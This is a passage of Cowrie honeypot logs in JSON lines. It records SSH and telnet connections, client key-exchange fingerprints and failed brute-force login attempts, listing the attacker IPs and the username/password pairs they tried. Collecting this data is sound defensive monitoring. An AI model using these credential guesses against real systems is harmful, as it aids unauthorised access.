sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:35.089715Z","src_ip":"159.203.92.129","session":"a3bc6f6d2d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234111","message":"login attempt [1234/1234111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:35.098852Z","src_ip":"159.203.92.129","session":"a3bc6f6d2d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:36.108037Z","src_ip":"159.203.92.129","session":"a3bc6f6d2d3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9269a7f1bb32625f5b43fb851d2d3d6be7475e32b4303dea7359e723750b90c5","size":3811,"shasum":"9269a7f1bb32625f5b43fb851d2d3d6be7475e32b4303dea7359e723750b90c5","duplicate":true,"duration":"51.6","message":"Closing TTY Log: var/lib/cowrie/tty/9269a7f1bb32625f5b43fb851d2d3d6be7475e32b4303dea7359e723750b90c5 after 51.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:42.886786Z","src_ip":"31.56.209.39","session":"90c9f2f1e095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"139.4","message":"Connection lost after 139.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:42.970263Z","src_ip":"31.56.209.39","session":"90c9f2f1e095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":57196,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd9ea0e4aa9c","protocol":"ssh","message":"New connection: 27.119.7.6:57196 (10.17.0.5:22) [session: fd9ea0e4aa9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:15.398405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:15.403954Z","src_ip":"27.119.7.6","session":"fd9ea0e4aa9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:15.593435Z","src_ip":"27.119.7.6","session":"fd9ea0e4aa9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"Ali123","message":"login attempt [ali/Ali123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:16.394213Z","src_ip":"27.119.7.6","session":"fd9ea0e4aa9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:17.872598Z","src_ip":"27.119.7.6","session":"fd9ea0e4aa9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49900,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab1b96da5370","protocol":"ssh","message":"New connection: 159.203.92.129:49900 (159.203.135.109:22) [session: ab1b96da5370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:18.309639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:18.313265Z","src_ip":"159.203.92.129","session":"ab1b96da5370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:18.317213Z","src_ip":"159.203.92.129","session":"ab1b96da5370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234123","message":"login attempt [1234/1234123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:18.331450Z","src_ip":"159.203.92.129","session":"ab1b96da5370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:19.339182Z","src_ip":"159.203.92.129","session":"ab1b96da5370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.102.150","src_port":40278,"dst_ip":"159.203.135.109","dst_port":23,"session":"350b0091ea95","protocol":"telnet","message":"New connection: 103.148.102.150:40278 (159.203.135.109:23) [session: 350b0091ea95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:26.217607Z"}
{"eventid":"cowrie.session.closed","duration":120.00322461128235,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:28.981457Z","src_ip":"99.235.180.95","session":"5226e0fb05ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.027055978775024,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:18:38.244520Z","src_ip":"103.148.102.150","session":"350b0091ea95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50942,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c3d08163480","protocol":"ssh","message":"New connection: 159.203.92.129:50942 (159.203.135.109:22) [session: 5c3d08163480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:19:01.596031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:19:01.601467Z","src_ip":"159.203.92.129","session":"5c3d08163480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:19:01.606040Z","src_ip":"159.203.92.129","session":"5c3d08163480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12341234","message":"login attempt [1234/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:19:01.658958Z","src_ip":"159.203.92.129","session":"5c3d08163480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:19:02.744479Z","src_ip":"159.203.92.129","session":"5c3d08163480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.126.107","src_port":48099,"dst_ip":"159.203.135.109","dst_port":22,"session":"35caf4f2fa47","protocol":"ssh","message":"New connection: 43.224.126.107:48099 (159.203.135.109:22) [session: 35caf4f2fa47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:19:32.375842Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51288,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b379fded930","protocol":"ssh","message":"New connection: 159.203.92.129:51288 (159.203.135.109:22) [session: 4b379fded930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:19:44.413141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:19:44.417094Z","src_ip":"159.203.92.129","session":"4b379fded930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:19:44.421677Z","src_ip":"159.203.92.129","session":"4b379fded930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"123412341234","message":"login attempt [1234/123412341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:19:44.432503Z","src_ip":"159.203.92.129","session":"4b379fded930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:19:45.438669Z","src_ip":"159.203.92.129","session":"4b379fded930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":42556,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f933c74e978","protocol":"ssh","message":"New connection: 27.119.7.6:42556 (10.17.0.5:22) [session: 6f933c74e978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:14.556042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:14.574827Z","src_ip":"27.119.7.6","session":"6f933c74e978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:14.763735Z","src_ip":"27.119.7.6","session":"6f933c74e978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"cxzewqdsa","message":"login attempt [ubuntu/cxzewqdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:15.516135Z","src_ip":"27.119.7.6","session":"6f933c74e978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:16.725240Z","src_ip":"27.119.7.6","session":"6f933c74e978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.191.199.202","src_port":30687,"dst_ip":"159.203.135.109","dst_port":23,"session":"26bb1fc384af","protocol":"telnet","message":"New connection: 14.191.199.202:30687 (159.203.135.109:23) [session: 26bb1fc384af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:22.464812Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60998,"dst_ip":"159.203.135.109","dst_port":22,"session":"462c5d64bd72","protocol":"ssh","message":"New connection: 159.203.92.129:60998 (159.203.135.109:22) [session: 462c5d64bd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:23.103473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:23.235998Z","src_ip":"159.203.92.129","session":"462c5d64bd72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:23.240347Z","src_ip":"159.203.92.129","session":"462c5d64bd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234123456","message":"login attempt [1234/1234123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:23.735439Z","src_ip":"159.203.92.129","session":"462c5d64bd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:25.041149Z","src_ip":"159.203.92.129","session":"462c5d64bd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.081134557723999,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:35.545753Z","src_ip":"14.191.199.202","session":"26bb1fc384af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":47468,"dst_ip":"10.17.0.5","dst_port":22,"session":"71d88a790a34","protocol":"ssh","message":"New connection: 171.25.158.70:47468 (10.17.0.5:22) [session: 71d88a790a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:48.414754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:48.422678Z","src_ip":"171.25.158.70","session":"71d88a790a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh